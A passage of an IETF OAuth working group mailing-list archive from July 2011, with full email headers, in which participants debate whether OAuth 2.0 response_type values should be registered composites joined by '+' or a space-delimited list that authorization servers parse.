2011 13:36:55 -0700 (PDT) Received: (qmail 7591 invoked from network); 12 Jul 2011 20:35:36 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 12 Jul 2011 20:35:36 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Tue, 12 Jul 2011 13:35:33 -0700 From: Eran Hammer-Lahav To: Mike Jones , OAuth WG Date: Tue, 12 Jul 2011 13:35:21 -0700 Thread-Topic: [OAUTH-WG] defining new response types Thread-Index: AQHMQDAag6evnBnF30CvXgkQ9SShJZToYWCAgAEOdYCAAAMvgIAAAgsAgAAFHICAAANZAP//poSggAABo4A= Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D46521@TK5EX14MBXC201.redmond.corp.microsoft.com> In-Reply-To: <4E1F6AAD24975D4BA5B168042967394348D46521@TK5EX14MBXC201.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 20:36:56 -0000 I will withdraw my objections to the change (parsing the response_type stri= ng) if enough support is present. If you care about it, please speak out no= w. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Mike Jones > Sent: Tuesday, July 12, 2011 1:32 PM > To: OAuth WG > Subject: Re: [OAUTH-WG] defining new response types >=20 > As a data point motivating this functionality, the OpenID Connect Core sp= ec > currently includes: >=20 > response_type > A space delimited, case sensitive list of string > values (Pending OAuth 2.0 changes). Acceptable values include > "code", "token", and "none". The value MUST include "code" for > requesting an Authorization Code, "token" for requesting an Access > Token, and "none" if no response is needed. >=20 > The OpenID Connect Session Management spec also defines an "id_token" > response_type. Combinations of these (other than "none") are meaningful > and used. >=20 > The syntax for this can change, but this functionality is very important = to > OpenID Connect as it is currently written. >=20 > Thanks, > -- Mike >=20 > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Breno de Medeiros > Sent: Tuesday, July 12, 2011 11:48 AM > To: Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] defining new response types >=20 > On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav > wrote: > > That's pretty farfetched. In previous versions we had 'code_and_token' > which was a composite value but without any special characters. If people > think that we need to force such values to avoid this claimed developer > confusion, let's drop the + and be done. > > >=20 > Maybe far fetched, but it's already available in our production environme= nt -- > we had implemented the code_and_token approach earlier (though not > documented it) but abandoned that route as we thought the exponential > explosion was harmful when we started contemplating adding new types > and allowing various combinations of them. >=20 > > The only requirement I was asked to cover was to allow response type > extensibility. If there is WG consensus to also support the requirement o= f > composite values using any order, we can discuss that. >=20 > Let's. >=20 > > > > In addition, defining a parsing method adds a significant amount of new > complexity beyond just splitting the string: > > > > * It allows for composite values that make no sense (since anything goe= s, > composite values are not registered, just the components). > > * Additional error codes are needed to indicate bad format, unsupported > values (specify which one), unsupported combinations, etc. > > * Developers lose the benefit of a simple registry with every possible > combination they may choose. > > > > So the two questions are: > > > > 1. Do you find the + proposal as defined in -18 to be useful or confusi= ng? >=20 > It is ugly. >=20 > > 2. Should the protocol support dynamic composite values with the added > complexity (breaking change)? >=20 > That's my preference. >=20 > > > > EHL > > > >> -----Original Message----- > >> From: Breno de Medeiros [mailto:breno@google.com] > >> Sent: Tuesday, July 12, 2011 11:18 AM > >> To: Eran Hammer-Lahav > >> Cc: Marius Scurtescu; OAuth WG > >> Subject: Re: [OAUTH-WG] defining new response types > >> > >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav > >> > >> wrote: > >> > Requiring parsing of the response type parameter is a big change at > >> > this > >> point. Even if it is a decent idea, I'm against it for the sole > >> reason that I don't want to introduce such a change - we're done. > >> > > >> > The + character makes reading values easier because it give > >> > composites of > >> existing, individually defined values, a special meaning to *people*, > >> but it does not change any existing code or adds any work. Servers > >> will still perform simple string comparison. Parsing a list of values = is > unnecessary complexity. > >> Developers can learn to put values in their expected order (since > >> they are all going to cut-n-paste anyway). > >> > >> I disagree. I believe that servers will either not support the > >> composite types at all, or will allow developers to enter it into any > >> order to avoid developer pain. > >> > >> Also, developers will _not_ cut-and-paste. They will expect the fact > >> that order is not meaningful by interacting with providers that don't > >> perform exact string matching and then have interoperability issues > >> with compliant implementations. > >> > >> > > >> > I rather drop the special character then add parsing, but I think > >> > it is a useful > >> *convention*. > >> > > >> > Do people want to keep it or drop it? > >> > > >> > EHL > >> > > >> > > >> >> -----Original Message----- > >> >> From: Breno de Medeiros [mailto:breno@google.com] > >> >> Sent: Tuesday, July 12, 2011 10:59 AM > >> >> To: Eran Hammer-Lahav > >> >> Cc: Marius Scurtescu; OAuth WG > >> >> Subject: Re: [OAUTH-WG] defining new response types > >> >> > >> >> Imposing order and exact string matching on response_type's while > >> >> simultaneously supporting a special character '+' and introducing > >> >> the concept of composite response_type is a poor compromise, > IMNSHO. > >> What > >> >> is the rationale to fear allowing multiple-valued response_type as > >> >> we have for other parameters in the spec? > >> >> > >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav > >> >> > >> >> wrote: > >> >> > As for the plus encoding we can choose another char or give an > >> example. > >> >> > > >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" > >> >> > > >> >> wrote: > >> >> > > >> >> >> If I read section 8.4 correctly it seems that new response > >> >> >> types can be defined but composite values must be registered > explicitly. > >> >> >> > >> >> >> I don't think this approach scales too well. OpenID Connect for > >> >> >> example is adding a new response type: id_token. > >> >> >> > >> >> >> id_token can be combined with either code or token and > >> >> >> potentially with both of them, the following combinations must > >> >> >> be registered as a > >> >> >> result: > >> >> >> code+id_token > >> >> >> token+id_token > >> >> >> code+token+id_token > >> >> >> > >> >> >> and this assumes that code+token is already registered. > >> >> >> > >> >> >> I think it makes more sense to define response_type as a space > >> >> >> separated list of items, where each item can be individually > >> >> >> registered. I do realize that this complicates things quite a > >> >> >> bit (not we have to define and deal with both composite > >> >> >> response_type and the individual items). > >> >> >> > >> >> >> As a side note, using + as separator could cause lots of problem= s. > >> >> >> If people naively type "code+toke" it will be decoded as "code > token". > >> >> >> No one will remember the hex code for +. > >> >> >> > >> >> >> Marius > >> >> >> _______________________________________________ > >> >> >> OAuth mailing list > >> >> >> OAuth@ietf.org > >> >> >> https://www.ietf.org/mailman/listinfo/oauth > >> >> > > >> >> > >> >> > >> >> > >> >> -- > >> >> --Breno > >> > > >> > >> > >> > >> -- > >> --Breno > > >=20 >=20 >=20 > -- > --Breno > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth >=20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From ve7jtb@ve7jtb.com Tue Jul 12 15:12:31 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 682EC21F8C0E for ; Tue, 12 Jul 2011 15:12:31 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.999 X-Spam-Level: X-Spam-Status: No, score=-2.999 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id gRkh3Uj5wmkk for ; Tue, 12 Jul 2011 15:12:30 -0700 (PDT) Received: from mail-vx0-f172.google.com (mail-vx0-f172.google.com [209.85.220.172]) by ietfa.amsl.com (Postfix) with ESMTP id 5246B21F8C0D for ; Tue, 12 Jul 2011 15:12:30 -0700 (PDT) Received: by vxi40 with SMTP id 40so5614643vxi.31 for ; Tue, 12 Jul 2011 15:12:29 -0700 (PDT) Received: by 10.220.107.212 with SMTP id c20mr146657vcp.86.1310508749366; Tue, 12 Jul 2011 15:12:29 -0700 (PDT) Received: from [192.168.1.4] ([190.22.80.147]) by mx.google.com with ESMTPS id dg10sm1543842vcb.0.2011.07.12.15.12.26 (version=TLSv1/SSLv3 cipher=OTHER); Tue, 12 Jul 2011 15:12:28 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: text/plain; charset=us-ascii From: John Bradley In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Tue, 12 Jul 2011 18:12:23 -0400 Content-Transfer-Encoding: quoted-printable Message-Id: References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D46521@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> To: Eran Hammer-Lahav X-Mailer: Apple Mail (2.1084) Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 22:12:31 -0000 The functionality is important. I was under the impression from Paul Tarjan that this had been agreed at = the last F2F. While I am not emotionally attached to this specific request syntax, we = do need this functionality. John Bradley On 2011-07-12, at 4:35 PM, Eran Hammer-Lahav wrote: > I will withdraw my objections to the change (parsing the response_type = string) if enough support is present. If you care about it, please speak = out now. >=20 > EHL >=20 >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On = Behalf >> Of Mike Jones >> Sent: Tuesday, July 12, 2011 1:32 PM >> To: OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >>=20 >> As a data point motivating this functionality, the OpenID Connect = Core spec >> currently includes: >>=20 >> response_type >> A space delimited, case sensitive list of string >> values (Pending OAuth 2.0 changes). Acceptable values include >> "code", "token", and "none". The value MUST include "code" for >> requesting an Authorization Code, "token" for requesting an = Access >> Token, and "none" if no response is needed. >>=20 >> The OpenID Connect Session Management spec also defines an "id_token" >> response_type. Combinations of these (other than "none") are = meaningful >> and used. >>=20 >> The syntax for this can change, but this functionality is very = important to >> OpenID Connect as it is currently written. >>=20 >> Thanks, >> -- Mike >>=20 >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On = Behalf >> Of Breno de Medeiros >> Sent: Tuesday, July 12, 2011 11:48 AM >> To: Eran Hammer-Lahav >> Cc: OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >>=20 >> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav = >> wrote: >>> That's pretty farfetched. In previous versions we had = 'code_and_token' >> which was a composite value but without any special characters. If = people >> think that we need to force such values to avoid this claimed = developer >> confusion, let's drop the + and be done. >>>=20 >>=20 >> Maybe far fetched, but it's already available in our production = environment -- >> we had implemented the code_and_token approach earlier (though not >> documented it) but abandoned that route as we thought the exponential >> explosion was harmful when we started contemplating adding new types >> and allowing various combinations of them. >>=20 >>> The only requirement I was asked to cover was to allow response type >> extensibility. If there is WG consensus to also support the = requirement of >> composite values using any order, we can discuss that. >>=20 >> Let's. >>=20 >>>=20 >>> In addition, defining a parsing method adds a significant amount of = new >> complexity beyond just splitting the string: >>>=20 >>> * It allows for composite values that make no sense (since anything = goes, >> composite values are not registered, just the components). >>> * Additional error codes are needed to indicate bad format, = unsupported >> values (specify which one), unsupported combinations, etc. >>> * Developers lose the benefit of a simple registry with every = possible >> combination they may choose. >>>=20 >>> So the two questions are: >>>=20 >>> 1. Do you find the + proposal as defined in -18 to be useful or = confusing? >>=20 >> It is ugly. >>=20 >>> 2. Should the protocol support dynamic composite values with the = added >> complexity (breaking change)? >>=20 >> That's my preference. >>=20 >>>=20 >>> EHL >>>=20 >>>> -----Original Message----- >>>> From: Breno de Medeiros [mailto:breno@google.com] >>>> Sent: Tuesday, July 12, 2011 11:18 AM >>>> To: Eran Hammer-Lahav >>>> Cc: Marius Scurtescu; OAuth WG >>>> Subject: Re: [OAUTH-WG] defining new response types >>>>=20 >>>> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav >>>> >>>> wrote: >>>>> Requiring parsing of the response type parameter is a big change = at >>>>> this >>>> point. Even if it is a decent idea, I'm against it for the sole >>>> reason that I don't want to introduce such a change - we're done. >>>>>=20 >>>>> The + character makes reading values easier because it give >>>>> composites of >>>> existing, individually defined values, a special meaning to = *people*, >>>> but it does not change any existing code or adds any work. Servers >>>> will still perform simple string comparison. Parsing a list of = values is >> unnecessary complexity. >>>> Developers can learn to put values in their expected order (since >>>> they are all going to cut-n-paste anyway). >>>>=20 >>>> I disagree. I believe that servers will either not support the >>>> composite types at all, or will allow developers to enter it into = any >>>> order to avoid developer pain. >>>>=20 >>>> Also, developers will _not_ cut-and-paste. They will expect the = fact >>>> that order is not meaningful by interacting with providers that = don't >>>> perform exact string matching and then have interoperability issues >>>> with compliant implementations. >>>>=20 >>>>>=20 >>>>> I rather drop the special character then add parsing, but I think >>>>> it is a useful >>>> *convention*. >>>>>=20 >>>>> Do people want to keep it or drop it? >>>>>=20 >>>>> EHL >>>>>=20 >>>>>=20 >>>>>> -----Original Message----- >>>>>> From: Breno de Medeiros [mailto:breno@google.com] >>>>>> Sent: Tuesday, July 12, 2011 10:59 AM >>>>>> To: Eran Hammer-Lahav >>>>>> Cc: Marius Scurtescu; OAuth WG >>>>>> Subject: Re: [OAUTH-WG] defining new response types >>>>>>=20 >>>>>> Imposing order and exact string matching on response_type's while >>>>>> simultaneously supporting a special character '+' and introducing >>>>>> the concept of composite response_type is a poor compromise, >> IMNSHO. >>>> What >>>>>> is the rationale to fear allowing multiple-valued response_type = as >>>>>> we have for other parameters in the spec? >>>>>>=20 >>>>>> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav >>>>>> >>>>>> wrote: >>>>>>> As for the plus encoding we can choose another char or give an >>>> example. >>>>>>>=20 >>>>>>> On Jul 11, 2011, at 18:07, "Marius Scurtescu" >>>>>>> >>>>>> wrote: >>>>>>>=20 >>>>>>>> If I read section 8.4 correctly it seems that new response >>>>>>>> types can be defined but composite values must be registered >> explicitly. >>>>>>>>=20 >>>>>>>> I don't think this approach scales too well. OpenID Connect for >>>>>>>> example is adding a new response type: id_token. >>>>>>>>=20 >>>>>>>> id_token can be combined with either code or token and >>>>>>>> potentially with both of them, the following combinations must >>>>>>>> be registered as a >>>>>>>> result: >>>>>>>> code+id_token >>>>>>>> token+id_token >>>>>>>> code+token+id_token >>>>>>>>=20 >>>>>>>> and this assumes that code+token is already registered. >>>>>>>>=20 >>>>>>>> I think it makes more sense to define response_type as a space >>>>>>>> separated list of items, where each item can be individually >>>>>>>> registered. I do realize that this complicates things quite a >>>>>>>> bit (not we have to define and deal with both composite >>>>>>>> response_type and the individual items). >>>>>>>>=20 >>>>>>>> As a side note, using + as separator could cause lots of = problems. >>>>>>>> If people naively type "code+toke" it will be decoded as "code >> token". >>>>>>>> No one will remember the hex code for +. >>>>>>>>=20 >>>>>>>> Marius >>>>>>>> _______________________________________________ >>>>>>>> OAuth mailing list >>>>>>>> OAuth@ietf.org >>>>>>>> https://www.ietf.org/mailman/listinfo/oauth >>>>>>>=20 >>>>>>=20 >>>>>>=20 >>>>>>=20 >>>>>> -- >>>>>> --Breno >>>>>=20 >>>>=20 >>>>=20 >>>>=20 >>>> -- >>>> --Breno >>>=20 >>=20 >>=20 >>=20 >> -- >> --Breno >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >>=20 >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From mscurtescu@google.com Tue Jul 12 15:18:32 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5178711E8087 for ; Tue, 12 Jul 2011 15:18:32 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.977 X-Spam-Level: X-Spam-Status: No, score=-105.977 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id FvzDgzcX+uEc for ; Tue, 12 Jul 2011 15:18:31 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id 1524421F8C24 for ; Tue, 12 Jul 2011 15:18:30 -0700 (PDT) Received: from hpaq14.eem.corp.google.com (hpaq14.eem.corp.google.com [172.25.149.14]) by smtp-out.google.com with ESMTP id p6CMITqa024806 for ; Tue, 12 Jul 2011 15:18:29 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310509109; bh=nS66Z8FscCRVkyISbvdr7h+KFaM=; h=MIME-Version:In-Reply-To:References:From:Date:Message-ID:Subject: To:Cc:Content-Type; b=hN9dWrU89gxiSdC5JSqEAuRpYd/7RJbniHjbkjtGMcJtc46B3PTXAabCuy184Ze9C S2IiPK/q1FLaKy6MU8n8g== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:from:date: message-id:subject:to:cc:content-type:x-system-of-record; b=MO6JGBKMAbkbfHvBsKztI4ePlUDMz4elMSRdK4/6w/E5T23KqZa5kIS8vXbqMmx9l 5FzZ3M9NL8w4cTYwy3e0g== Received: from gwaa18 (gwaa18.prod.google.com [10.200.27.18]) by hpaq14.eem.corp.google.com with ESMTP id p6CMHuWp007677 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Tue, 12 Jul 2011 15:18:28 -0700 Received: by gwaa18 with SMTP id a18so2138857gwa.19 for ; Tue, 12 Jul 2011 15:18:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=tEHKOSjvdfzl46ZuItJXaqt0lbtl+R+F/gAPLs/qx+E=; b=HFBTlaWuZwFyO0LhisDYsq4+nVHdOb7co5huxIMtd+IVpuyRWHHHVhcBUOuyUKISaR +XlQILIFGY8KbVuhGOIA== Received: by 10.100.83.15 with SMTP id g15mr477026anb.79.1310509108283; Tue, 12 Jul 2011 15:18:28 -0700 (PDT) MIME-Version: 1.0 Received: by 10.100.14.19 with HTTP; Tue, 12 Jul 2011 15:18:08 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D46521@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Marius Scurtescu Date: Tue, 12 Jul 2011 15:18:08 -0700 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 X-System-Of-Record: true Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 22:18:32 -0000 On Tue, Jul 12, 2011 at 1:35 PM, Eran Hammer-Lahav wrote: > I will withdraw my objections to the change (parsing the response_type string) if enough support is present. If you care about it, please speak out now. The complexity of composite response types is affecting mostly authorization servers. Hiding this behind the requirement to explicitly register all combinations is not helping much IMO. Most auth server implementations will end up parsing the list and looking at the individual elements anyhow. Marius From pt@fb.com Tue Jul 12 20:23:44 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D25E511E80F5 for ; Tue, 12 Jul 2011 20:23:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.665 X-Spam-Level: X-Spam-Status: No, score=-1.665 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, IP_NOT_FRIENDLY=0.334, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id tv94oymH3UP5 for ; Tue, 12 Jul 2011 20:23:44 -0700 (PDT) Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by ietfa.amsl.com (Postfix) with ESMTP id DDCDF11E80F4 for ; Tue, 12 Jul 2011 20:23:43 -0700 (PDT) Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.4/8.14.4) with SMTP id p6D3JOE5011279 for ; Tue, 12 Jul 2011 20:23:43 -0700 Received: from mail.thefacebook.com (corpout1.snc1.tfbnw.net [66.220.144.38]) by mx0b-00082601.pphosted.com with ESMTP id xh2bg04g7-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT) for ; Tue, 12 Jul 2011 20:23:43 -0700 Received: from SC-MBX02-4.TheFacebook.com ([fe80::e1f0:42de:c867:1385]) by sc-hub04.TheFacebook.com ([192.168.18.212]) with mapi id 14.01.0289.001; Tue, 12 Jul 2011 20:23:38 -0700 From: Paul Tarjan To: OAuth WG Thread-Topic: [OAUTH-WG] defining new response types Thread-Index: AQHMQDAchvzHHdYYAUSn3drhiYopvpToYWCAgAEOdYCAAAMvgIAAAgsAgAAFHICAAANZAIAAHPAAgAAA9ID///y5gA== Date: Wed, 13 Jul 2011 03:23:38 +0000 Message-ID: In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.2.0.101115 x-originating-ip: [192.168.18.252] Content-Type: text/plain; charset="us-ascii" Content-ID: <2EA609BE7FDEF248A2E7866F01550FD6@fb.com> Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 13 Jul 2011 03:23:44 -0000 I like splitting on space like scopes. But I'm fine with registering all possible compositions that make sense, if you prefer. As I posted to the group about a month ago, we are planning on supporting response_type=3Dnone response_type=3Dcode response_type=3Dtoken response_type=3Dsigned_request token response_type=3Dtoken signed_request (and maybe "code token"/"token code") We already have support for response_type=3Dnone and the signed_request one is a few weeks out. Paul On 7/12/11 1:35 PM, "Eran Hammer-Lahav" wrote: >I will withdraw my objections to the change (parsing the response_type >string) if enough support is present. If you care about it, please speak >out now. > >EHL > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> Of Mike Jones >> Sent: Tuesday, July 12, 2011 1:32 PM >> To: OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >>=20 >> As a data point motivating this functionality, the OpenID Connect Core >>spec >> currently includes: >>=20 >> response_type >> A space delimited, case sensitive list of string >> values (Pending OAuth 2.0 changes). Acceptable values include >> "code", "token", and "none". The value MUST include "code" for >> requesting an Authorization Code, "token" for requesting an Access >> Token, and "none" if no response is needed. >>=20 >> The OpenID Connect Session Management spec also defines an "id_token" >> response_type. Combinations of these (other than "none") are meaningful >> and used. >>=20 >> The syntax for this can change, but this functionality is very >>important to >> OpenID Connect as it is currently written. >>=20 >> Thanks, >> -- Mike >>=20 >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> Of Breno de Medeiros >> Sent: Tuesday, July 12, 2011 11:48 AM >> To: Eran Hammer-Lahav >> Cc: OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >>=20 >> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav >> wrote: >> > That's pretty farfetched. In previous versions we had 'code_and_token' >> which was a composite value but without any special characters. If >>people >> think that we need to force such values to avoid this claimed developer >> confusion, let's drop the + and be done. >> > >>=20 >> Maybe far fetched, but it's already available in our production >>environment -- >> we had implemented the code_and_token approach earlier (though not >> documented it) but abandoned that route as we thought the exponential >> explosion was harmful when we started contemplating adding new types >> and allowing various combinations of them. >>=20 >> > The only requirement I was asked to cover was to allow response type >> extensibility. If there is WG consensus to also support the requirement >>of >> composite values using any order, we can discuss that. >>=20 >> Let's. >>=20 >> > >> > In addition, defining a parsing method adds a significant amount of >>new >> complexity beyond just splitting the string: >> > >> > * It allows for composite values that make no sense (since anything >>goes, >> composite values are not registered, just the components). >> > * Additional error codes are needed to indicate bad format, >>unsupported >> values (specify which one), unsupported combinations, etc. >> > * Developers lose the benefit of a simple registry with every possible >> combination they may choose. >> > >> > So the two questions are: >> > >> > 1. Do you find the + proposal as defined in -18 to be useful or >>confusing? >>=20 >> It is ugly. >>=20 >> > 2. Should the protocol support dynamic composite values with the added >> complexity (breaking change)? >>=20 >> That's my preference. >>=20 >> > >> > EHL >> > >> >> -----Original Message----- >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> Sent: Tuesday, July 12, 2011 11:18 AM >> >> To: Eran Hammer-Lahav >> >> Cc: Marius Scurtescu; OAuth WG >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav >> >> >> >> wrote: >> >> > Requiring parsing of the response type parameter is a big change at >> >> > this >> >> point. Even if it is a decent idea, I'm against it for the sole >> >> reason that I don't want to introduce such a change - we're done. >> >> > >> >> > The + character makes reading values easier because it give >> >> > composites of >> >> existing, individually defined values, a special meaning to *people*, >> >> but it does not change any existing code or adds any work. Servers >> >> will still perform simple string comparison. Parsing a list of >>values is >> unnecessary complexity. >> >> Developers can learn to put values in their expected order (since >> >> they are all going to cut-n-paste anyway). >> >> >> >> I disagree. I believe that servers will either not support the >> >> composite types at all, or will allow developers to enter it into any >> >> order to avoid developer pain. >> >> >> >> Also, developers will _not_ cut-and-paste. They will expect the fact >> >> that order is not meaningful by interacting with providers that don't >> >> perform exact string matching and then have interoperability issues >> >> with compliant implementations. >> >> >> >> > >> >> > I rather drop the special character then add parsing, but I think >> >> > it is a useful >> >> *convention*. >> >> > >> >> > Do people want to keep it or drop it? >> >> > >> >> > EHL >> >> > >> >> > >> >> >> -----Original Message----- >> >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> >> Sent: Tuesday, July 12, 2011 10:59 AM >> >> >> To: Eran Hammer-Lahav >> >> >> Cc: Marius Scurtescu; OAuth WG >> >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> >> >> Imposing order and exact string matching on response_type's while >> >> >> simultaneously supporting a special character '+' and introducing >> >> >> the concept of composite response_type is a poor compromise, >> IMNSHO. >> >> What >> >> >> is the rationale to fear allowing multiple-valued response_type as >> >> >> we have for other parameters in the spec? >> >> >> >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav >> >> >> >> >> >> wrote: >> >> >> > As for the plus encoding we can choose another char or give an >> >> example. >> >> >> > >> >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" >> >> >> > >> >> >> wrote: >> >> >> > >> >> >> >> If I read section 8.4 correctly it seems that new response >> >> >> >> types can be defined but composite values must be registered >> explicitly. >> >> >> >> >> >> >> >> I don't think this approach scales too well. OpenID Connect for >> >> >> >> example is adding a new response type: id_token. >> >> >> >> >> >> >> >> id_token can be combined with either code or token and >> >> >> >> potentially with both of them, the following combinations 